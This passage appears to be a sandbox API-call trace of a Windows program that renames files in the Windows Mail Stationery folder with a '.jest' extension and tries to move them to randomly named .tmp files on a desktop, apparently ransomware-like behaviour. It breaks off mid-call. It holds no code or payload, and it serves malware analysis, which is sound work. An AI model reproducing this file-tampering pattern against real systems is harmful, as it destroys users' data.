GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpFilePart=0x18e708*="Garden.jpg") returned 0x4b [0130.098] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r9cvi3jkhonm22pc4pdxxod0zkodqjrie5och0p0wvppghubirt22bw_4rf1wajuu08fjwx5kosag6e2eiwneqk2vilcfsvnwihch.tmp")) returned 0 [0130.099] GetLastError () returned 0x2 [0130.099] GetLastError () returned 0x2 [0130.099] SetLastError (dwErrCode=0x2) [0130.099] GetLastError () returned 0x2 [0130.099] SetLastError (dwErrCode=0x2) [0130.099] GetLastError () returned 0x2 [0130.099] SetLastError (dwErrCode=0x2) [0130.099] GetFullPathNameA (in: lpFileName="R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", lpFilePart=0x18e6e4*="R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp") returned 0x8f [0130.099] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9cVI3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x56633952, cFileName="I3jKHOnM22pc4PdXXOD0ZKODQjrIE5oCH0p0wVPpGhUbIRT22BW_4rf1wAjUu08fJwX5kOsAg6e2EiwNeQk2vIlCFSVnWIhch.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.099] GetLastError () returned 0x2 [0130.099] GetLastError () returned 0x2 [0130.099] SetLastError (dwErrCode=0x2) [0130.100] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.100] CoFreeUnusedLibraries () [0130.100] GetTickCount () returned 0x1152efd [0130.100] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.100] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.101] GetTickCount () returned 0x1152efd [0130.101] IsWindowVisible (hWnd=0x30268) returned 0 [0130.101] Sleep (dwMilliseconds=0x0) [0130.101] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.jest")) returned 1 [0130.102] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFilePart=0x18e6d8*="Hand Prints.htm") returned 0x50 [0130.102] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.102] GetLastError () returned 0x2 [0130.102] VarBstrFromR4 (in: fltIn=0x479446f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.91") returned 0x0 [0130.103] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.103] CoFreeUnusedLibraries () [0130.103] GetTickCount () returned 0x1152efd [0130.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.103] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.103] GetTickCount () returned 0x1152efd [0130.103] IsWindowVisible (hWnd=0x30268) returned 0 [0130.103] Sleep (dwMilliseconds=0x0) [0130.104] GetFullPathNameA (in: lpFileName="UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", lpFilePart=0x18e708*="UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp") returned 0x8f [0130.104] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpFilePart=0x18e708*="Hand Prints.htm") returned 0x50 [0130.104] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uqfg8hp4h3t5ndwbzmjthsehwnrd7e a2g72uwpemqgxytc6y6lilyitxacgy2w rd8e5ox3ksyvslk-tzkjr_2btoidargv3cipd.tmp")) returned 0 [0130.104] GetLastError () returned 0x2 [0130.104] GetLastError () returned 0x2 [0130.104] SetLastError (dwErrCode=0x2) [0130.105] GetLastError () returned 0x2 [0130.105] SetLastError (dwErrCode=0x2) [0130.105] GetLastError () returned 0x2 [0130.105] SetLastError (dwErrCode=0x2) [0130.105] GetFullPathNameA (in: lpFileName="UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", lpFilePart=0x18e6e4*="UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp") returned 0x8f [0130.105] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UQFG8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47465155, cFileName="8Hp4H3t5NdWBzmjthsEHwNRd7e A2G72uwPeMqgxyTc6y6lilYiTXacgY2W rD8e5ox3KsyvSLK-TzkjR_2bToIDaRGV3CIPd.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.105] GetLastError () returned 0x2 [0130.105] GetLastError () returned 0x2 [0130.105] SetLastError (dwErrCode=0x2) [0130.106] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.106] CoFreeUnusedLibraries () [0130.106] GetTickCount () returned 0x1152efd [0130.106] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.106] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.106] GetTickCount () returned 0x1152efd [0130.107] IsWindowVisible (hWnd=0x30268) returned 0 [0130.107] Sleep (dwMilliseconds=0x0) [0130.107] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.jest")) returned 1 [0130.108] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFilePart=0x18e6d8*="oeold.xml") returned 0x3f [0130.108] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.108] GetLastError () returned 0x2 [0130.109] VarBstrFromR4 (in: fltIn=0x479446f5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.91") returned 0x0 [0130.109] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.109] CoFreeUnusedLibraries () [0130.109] GetTickCount () returned 0x1152efd [0130.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.109] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.109] GetTickCount () returned 0x1152efd [0130.109] IsWindowVisible (hWnd=0x30268) returned 0 [0130.109] Sleep (dwMilliseconds=0x0) [0130.110] GetFullPathNameA (in: lpFileName="yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", lpFilePart=0x18e708*="yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp") returned 0x8e [0130.110] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpFilePart=0x18e708*="oeold.xml") returned 0x3f [0130.110] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yiacaq8oibmtyqlvmqzy-wh_npiadxn0t3z18yzlwovl o 5clgvpw-pp-11jlwnjke-3qnvxgi4seqkf_sfvgqo64wnhwh4b_ej.tmp")) returned 0 [0130.110] GetLastError () returned 0x2 [0130.110] GetLastError () returned 0x2 [0130.111] SetLastError (dwErrCode=0x2) [0130.111] GetLastError () returned 0x2 [0130.111] SetLastError (dwErrCode=0x2) [0130.111] GetLastError () returned 0x2 [0130.111] SetLastError (dwErrCode=0x2) [0130.111] GetFullPathNameA (in: lpFileName="yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", lpFilePart=0x18e6e4*="yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp") returned 0x8e [0130.111] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIACAq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x43414979, cFileName="Aq8oibMTyQLvmQZY-wh_NpIADxN0T3z18YZLWovL O 5clGVPW-pp-11JlwNJKE-3QnvxGi4seqKF_SfVgQO64wnHwh4b_EJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.111] GetLastError () returned 0x2 [0130.111] GetLastError () returned 0x2 [0130.111] SetLastError (dwErrCode=0x2) [0130.112] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.112] CoFreeUnusedLibraries () [0130.112] GetTickCount () returned 0x1152efd [0130.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.112] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.112] GetTickCount () returned 0x1152efd [0130.112] IsWindowVisible (hWnd=0x30268) returned 0 [0130.113] Sleep (dwMilliseconds=0x0) [0130.113] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.jest")) returned 1 [0130.114] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFilePart=0x18e6d8*="Bears.jpg") returned 0x4a [0130.114] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.114] GetLastError () returned 0x2 [0130.115] VarBstrFromR4 (in: fltIn=0x479446f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.93") returned 0x0 [0130.115] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.115] CoFreeUnusedLibraries () [0130.115] GetTickCount () returned 0x1152f0d [0130.115] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.115] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.115] GetTickCount () returned 0x1152f0d [0130.115] IsWindowVisible (hWnd=0x30268) returned 0 [0130.115] Sleep (dwMilliseconds=0x0) [0130.116] GetFullPathNameA (in: lpFileName="d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", lpFilePart=0x18e708*="d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp") returned 0x8e [0130.116] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpFilePart=0x18e708*="Bears.jpg") returned 0x4a [0130.116] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d ylxkgebibpwby4mhizsfdqypcstzk_x8_swljk-ohzrxdhufrc_q419kdocrtvyxdweegx0nt9ygyzjcbnzum6_03nm7yzx4tb.tmp")) returned 0 [0130.116] GetLastError () returned 0x2 [0130.116] GetLastError () returned 0x2 [0130.116] SetLastError (dwErrCode=0x2) [0130.116] GetLastError () returned 0x2 [0130.116] SetLastError (dwErrCode=0x2) [0130.117] GetLastError () returned 0x2 [0130.117] SetLastError (dwErrCode=0x2) [0130.117] GetFullPathNameA (in: lpFileName="d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", lpFilePart=0x18e6e4*="d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp") returned 0x8e [0130.117] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d YLxKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c592064, cFileName="xKgebibpWby4MHIzSfdqYPCSTzk_x8_SwLJk-OHZrxdhufRc_q419KdocrTVYXdWEeGx0nT9YGYZJCBnZUM6_03Nm7Yzx4Tb.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.117] GetLastError () returned 0x2 [0130.117] GetLastError () returned 0x2 [0130.117] SetLastError (dwErrCode=0x2) [0130.118] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.118] CoFreeUnusedLibraries () [0130.118] GetTickCount () returned 0x1152f0d [0130.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.118] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.118] GetTickCount () returned 0x1152f0d [0130.118] IsWindowVisible (hWnd=0x30268) returned 0 [0130.118] Sleep (dwMilliseconds=0x0) [0130.118] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.jest")) returned 1 [0130.119] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFilePart=0x18e6d8*="Bears.htm") returned 0x4a [0130.119] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.119] GetLastError () returned 0x2 [0130.120] VarBstrFromR4 (in: fltIn=0x479446f7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.93") returned 0x0 [0130.120] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.120] CoFreeUnusedLibraries () [0130.120] GetTickCount () returned 0x1152f0d [0130.120] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.120] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.120] GetTickCount () returned 0x1152f0d [0130.120] IsWindowVisible (hWnd=0x30268) returned 0 [0130.120] Sleep (dwMilliseconds=0x0) [0130.121] GetFullPathNameA (in: lpFileName="YFZDdUb-_Zw5WEnGoVR7RjWcL3zx3-lXC2LrQ8zDD6RJC38FeDIMVMxsfputjr2fvsmiKYncmRXec3WClVSvNb3SFlgVl-eKPRMm.tmp", nBufferLength=0x104, lpBuffer=0x18e944, 